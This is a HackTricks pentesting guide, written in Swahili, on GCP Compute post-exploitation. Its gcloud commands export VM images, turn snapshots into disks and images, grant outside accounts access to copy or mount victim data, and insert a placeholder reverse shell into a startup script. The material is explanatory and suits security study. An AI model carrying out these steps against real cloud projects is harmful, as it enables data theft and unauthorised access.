GCP - Compute Post Exploitation

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Compute

Kwa habari zaidi kuhusu Compute na VPC (Networking) angalia:

pageGCP - Compute Enum

Export & Inspect Images locally

Hii ingewezesha mshambuliaji kupata data iliyomo ndani ya picha zilizopo tayari au kuunda picha mpya za VM zinazoendesha na kupata data yao bila kuwa na ufikiaji kwenye VM inayoendesha.

Inawezekana kuuza picha ya VM kwa ndoo na kisha kuipakua na kuimounti kwa kienyeji kwa amri:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

Kabla ya kutekeleza hatua hii, mkaidi anaweza kuhitaji mamlaka juu ya chombo cha kuhifadhi na kwa hakika mamlaka juu ya cloudbuild kwani ni huduma ambayo itaulizwa kutekeleza kuuza nje. Aidha, ili hii ifanye kazi, chombo cha kujenga kificho na chombo cha kuhesabu kinahitaji ruhusa za kipekee. Chombo cha kujenga cha cloudbuild <project-id>@cloudbuild.gserviceaccount.com kinahitaji:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

Na SA <project-id>-compute@developer.gserviceaccount.com inahitaji:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

Kuuza Nje & Kuchunguza Picha na Disks kwa Kitaalam Mahali Pengine

Si rahisi kuuza moja kwa moja picha na diski, lakini ni rahisi kubadilisha picha kuwa diski, diski kuwa picha na kufuata sehemu iliyopita, kuuza nje picha hiyo kuchunguza kwa kitaalam mahali pengine

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

Kuchunguza Picha na Kuunda VM

Kwa lengo la kupata data iliyohifadhiwa kwenye picha au ndani ya VM inayotumika ambapo mshambuliaji ameunda picha, inawezekana kutoa ufikiaji wa akaunti ya nje juu ya picha:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

na kisha tengeneza VM mpya kutoka kwake:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

Ikiwa haukuweza kutoa ufikiaji wa akaunti yako ya nje juu ya picha, unaweza kuzindua VM ukitumia picha hiyo katika mradi wa waathiriwa na kufanya metadata kutekeleza reverse shell ili kupata ufikiaji wa picha kwa kuongeza param:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Angalia Picha ya Diski ikiiunganisha kwenye VM

Kwa lengo la kupata data iliyohifadhiwa kwenye diski au picha ya diski, unaweza kubadilisha picha ya snapshot kuwa disk, disk kuwa picha na kufuata hatua zilizopita.

Au unaweza kutoa akaunti ya nje upatikanaji kwenye disk (ikiwa hatua ya kuanzia ni snapshot toa upatikanaji kwenye snapshot au unda disk kutoka kwake):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

Ambatisha diski kwa kifaa:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

Funga diski ndani ya VM:

  1. SSH kuingia kwenye VM:

gcloud compute ssh [JINA_LA_KIFAA] --zone [ENEOKA]
  1. Tambua Diski: Mara baada ya kuingia kwenye VM, tambua diski mpya kwa kuorodhesha vifaa vya diski. Kwa kawaida, unaweza kuipata kama /dev/sdb, /dev/sdc, n.k.

  2. Fomati na Funga Diski (ikiwa ni diski mpya au isiyo na fomati):

  • Unda sehemu ya kufunga:

sudo mkdir -p /mnt/disks/[DIRA_YA_KUFUNGA]
  • Funga diski:

sudo mount -o discard,defaults /dev/[KIFAA_CHA_DISKI] /mnt/disks/[DIRA_YA_KUFUNGA]

Ikiwa hauwezi kutoa ufikiaji kwa mradi wa nje kwa nakala rudufu au diski, unaweza kuhitaji kufanya hatua hizi ndani ya kifaa katika mradi huo huo kama nakala rudufu/diski.

Last updated